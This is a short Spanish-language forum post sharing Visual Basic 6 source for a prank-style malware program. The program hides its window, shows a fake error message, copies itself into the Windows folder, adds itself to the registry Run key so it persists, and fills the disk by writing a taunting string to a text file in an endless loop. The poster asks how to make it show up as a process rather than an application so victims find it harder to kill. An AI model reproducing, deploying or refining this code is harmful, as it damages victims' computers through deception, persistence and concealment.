Autor
-------------------
Código:
Private Sub Form_Load()
On Error Resume Next
Form1.Hide
Set comprovar = CreateObject("scripting.filesystemobject")
Set archivo = CreateObject("scripting.filesystemobject")
Set escribir = archivo.CreateTextFile("C:\porkeria.txt", False)
Set inicio = CreateObject("WScript.Shell")
If (comprovar.FileExists("C:\WINDOWS\pork.EXE")) = False Then
MsgBox "Error durante la aplicación. Deberá cerrarse", vbCritical, "ERROR"
FileCopy App.EXEName & ".EXE", "C:\WINDOWS\pork.EXE"
inicio.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\pork", "C:\WINDOWS\pork.exe"
End If
Do
escribir.write "jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... jAjAjAjAjA... "
Loop
End Sub
lo que pasa es k haces control+alt+supr y se kita, como hago para que me salga en procesos en lugar de aplicaciones??? es k en procesos es + dificil de buscar..
NOTA DEL MODERADOR: Si poneís los códigos, hacedlo dentro del tag code
En línea
